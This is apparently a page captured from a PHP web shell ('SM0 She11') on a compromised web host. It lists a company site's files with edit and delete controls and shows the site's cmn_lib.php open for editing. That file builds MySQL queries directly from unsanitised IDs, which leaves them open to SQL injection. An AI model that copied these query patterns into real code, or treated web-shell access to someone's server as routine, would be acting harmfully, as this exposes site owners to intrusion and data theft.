SM0 She11

Full Path (server): /home/saienerg/public_html

📄 .DS_Store [E] [D]
📄 .ftpquota [E] [D]
📄 .htaccess [E] [D]
📄 .htaccessold [E] [D]
📄 .user.ini [E] [D]
📁 SpryAssets Open [D]
📄 about-ramesh.php [E] [D]
📄 about-sivakumar.php [E] [D]
📄 about-thangaraju.php [E] [D]
📄 about-venkat.php [E] [D]
📄 aboutus.php [E] [D]
📄 affected.zip [E] [D]
📄 careercopy.php [E] [D]
📄 careerpost.php [E] [D]
📄 careers.php [E] [D]
📄 careersapplynow.php [E] [D]
📄 careerslocation.php [E] [D]
📄 cat-photo.php [E] [D]
📄 class.phpmailer.php [E] [D]
📄 class.smtp.php [E] [D]
📄 clients.php [E] [D]
📄 cmn_lib.php [E] [D]
📄 contactus.php [E] [D]
📁 css Open [D]
📁 demo Open [D]
📄 enquiry-omservice.php [E] [D]
📄 enquiry-otherservice.php [E] [D]
📁 enquiryupload Open [D]
📄 error_log [E] [D]
📄 event-details.php [E] [D]
📄 eventslist.php [E] [D]
📁 fonts Open [D]
📄 gallery-album.php [E] [D]
📄 gallery-photo.php [E] [D]
📄 gallery-video.php [E] [D]
📄 google11bb5e94a094932d.html [E] [D]
📁 images Open [D]
📁 img Open [D]
📁 include Open [D]
📄 index.html [E] [D]
📄 index.php [E] [D]
📄 index1.php [E] [D]
📁 intra Open [D]
📁 js Open [D]
📄 mail.php [E] [D]
📄 peformance_archives.php [E] [D]
📄 per-articles.php [E] [D]
📄 per-experiencelist-pre-OEM.php [E] [D]
📄 per-experiencelist-pre-direct.php [E] [D]
📄 per-experiencelist-services-dis.php [E] [D]
📄 per-experiencelist-services-energy.php [E] [D]
📄 per-experiencelist-services-special.php [E] [D]
📄 per-experiencelist-services-trou.php [E] [D]
📄 per-experiencelist.php [E] [D]
📄 per-listofcurrent.php [E] [D]
📄 per-monthlyperform.php [E] [D]
📄 per-servicecap.php [E] [D]
📄 php.ini [E] [D]
📄 products-details.php [E] [D]
📄 products-details1.php [E] [D]
📄 products.php [E] [D]
📄 products1.php [E] [D]
📄 products_old.php [E] [D]
📄 service.php [E] [D]
📄 site.js [E] [D]
📄 site.php [E] [D]
📄 ssl.php [E] [D]
📄 testmail.php [E] [D]
📄 top-footertop.php [E] [D]
📄 top-side-serviceslist.php [E] [D]

Editing: cmn_lib.php

<?php
$usr_id = $_SESSION['susr_id'];
include("spel_config.php");

class glibrary
{
	
public function get_state($id)
 {
    global $idb;	
 
		$qry=mysqli_query($idb,"select name from states_list where st_id='$id'");
		$row=mysqli_fetch_array($qry);
		$name=$row['name'];  
		
 
		 return $name;
 }
 public function get_country($id)
 {   global $idb;
    	
 		$qry=mysqli_query($idb,"select name from countries where country_id='$id'");
		$row=mysqli_fetch_array($qry);
		$name=$row['name'];  
  
		 return $name;
 }
 
 
  public function get_active_status($id)
 {
	 if($id == '0')
	 {
		$sts ='Pending For Approval'; 
	 }else if($id == '1')
	 {
		$sts ='Approved'; 
	 }else if($id == '2')
	 {
		$sts ='Under Review'; 
	 }
	 
	 return $sts;
	 
 }
 public function get_service_category($id)
 {   global $idb;
    	
     $qry=mysqli_query($idb,"select name from service_categories where srcat_id='$id'");
		$row=mysqli_fetch_array($qry);
		$name=$row['name'];  
 		 return $name;
  }
 
  
 
 
  public function get_service_type($id)
 {   global $idb;
    	
     $qry=mysqli_query($idb,"select name from service_types where styp_id='$id'");
		$row=mysqli_fetch_array($qry);
		$name=$row['name'];  
		 return $name;
 }
 public function get_product_category($id)
 {   global $idb;
    	
     $qry=mysqli_query($idb,"select name from product_categories where prcat_id='$id'");
		$row=mysqli_fetch_array($qry);
		$name=$row['name'];  
 		 return $name;
  } 
   public function get_product_subcategory($id)
 {   global $idb;
    	
     $qry=mysqli_query($idb,"select name from product_subcategories where prscat_id='$id'");
		$row=mysqli_fetch_array($qry);
		$name=$row['name'];  
 		 return $name;
  }
  
   public function get_product_type($id)
 {   global $idb;
    	
     $qry=mysqli_query($idb,"select name from product_types where ptyp_id='$id'");
		$row=mysqli_fetch_array($qry);
		$name=$row['name'];  
		 return $name;
 }
 
  public function get_event_category($id)
 {   global $idb;
    	
     $qry=mysqli_query($idb,"select name from event_categories where ecat_id='$id'");
		$row=mysqli_fetch_array($qry);
		$name=$row['name'];  
 		 return $name;
  } 
 
  public function get_job_position($id)
 {   global $idb;
    	
     $qry=mysqli_query($idb,"select name from job_positions where jpos_id='$id'");
		$row=mysqli_fetch_array($qry);
		$name=$row['name'];  
  
		 return $name;
  
 } 
   public function get_location($id)
 {   global $idb;
    	
     $qry=mysqli_query($idb,"select name from location_list where loc_id='$id'");
		$row=mysqli_fetch_array($qry);
		$name=$row['name'];  
 		 return $name;
  } 
  public function get_edu_qualification($id)
 {   global $idb;
    	
     $qry=mysqli_query($idb,"select name from edu_qualifications where eql_id='$id'");
		$row=mysqli_fetch_array($qry);
		$name=$row['name'];  
 		 return $name;
  } 
  
  
 
 
public function get_serv_pending($id = '',$sts='')
 {   
 global $idb;
 $usr_id = $_SESSION['susr_id'];
   if($id>0)
  {
	 $e_qry = " and  crt_by ='$usr_id' ";   
  }else{
  $e_qry = '';
 }
   
   echo  $qry=("select count(*) as cnt from services_list where status = '$sts' $e_qry ");

$qry=mysqli_query($idb,"select count(*) as cnt from services_list where status = '$sts' $e_qry ");
	$row=mysqli_fetch_array($qry);
		$cnt=$row['cnt'];  
 		// return $cnt;
 }
 public function get_prd_pending($id = '')
 {  
  global $idb;
 
  $usr_id = $_SESSION['susr_id'];
	  if($id>0)
	  {
		 $e_qry = " and  crt_by ='$usr_id' ";   
	  }else{
	  $e_qry = '';
	 }
 
      $qry=mysqli_query($idb,"select count(*) as cnt from products_list where status = '0'  $e_qry ");
	$row=mysqli_fetch_array($qry);
		$cnt=$row['cnt'];  
 		 return $cnt;
 }
 
 public function get_user_role($id)
 {   global $idb;
    	
 		$qry=mysqli_query($idb,"select name from user_roles where rl_id='$id'");
		$row=mysqli_fetch_array($qry);
		$name=$row['name'];  
  
		 return $name;
 }
 
 
  public function get_user_details($id)
 {   global $idb;
    	
 		$qry=mysqli_query($idb,"select * from users_list where usr_id='$id'");
		$row=mysqli_fetch_array($qry);
		$rl_id=$row['rl_id'];  
		$emp_nme= strtoupper($row['emp_name']);
  
		  return array('emp_nme'=>$emp_nme,'rl_id'=>$rl_id);

}
 
 
 
   public function get_jobdesc_details($id)
 {   global $idb;
    	
 		$qry=mysqli_query($idb,"select * from job_descriptions where jd_id='$id'");
		$row=mysqli_fetch_array($qry);
		$jd_code= strtoupper($row['jd_code']);
  
		  return array('jd_cod'=>$jd_code);

}
 
 
 
  public function get_maxpi()
 {   global $idb;
    	
 		 	 
 $tqry=mysqli_query($idb,"select MAX(inw_no) as inw_no,count(*) as cnt  from pi_list  order by  inw_id DESC LIMIT 0,1 " );
 $r1=mysqli_fetch_array($tqry);
  $cnt=$r1['cnt'];
	  
	  if($cnt>0)
	  {	   
	    $inw_no=$r1['inw_no'];
	    $var=1;
        $inw_no=$inw_no+ $var;
	   } else
	   {
		  $inw_no='1001';  
	   }
		  
		  
		  $inw_no=  str_pad($inw_no, 4, '0', STR_PAD_LEFT);	
	   return $inw_no;
  
 }
 
 
	
}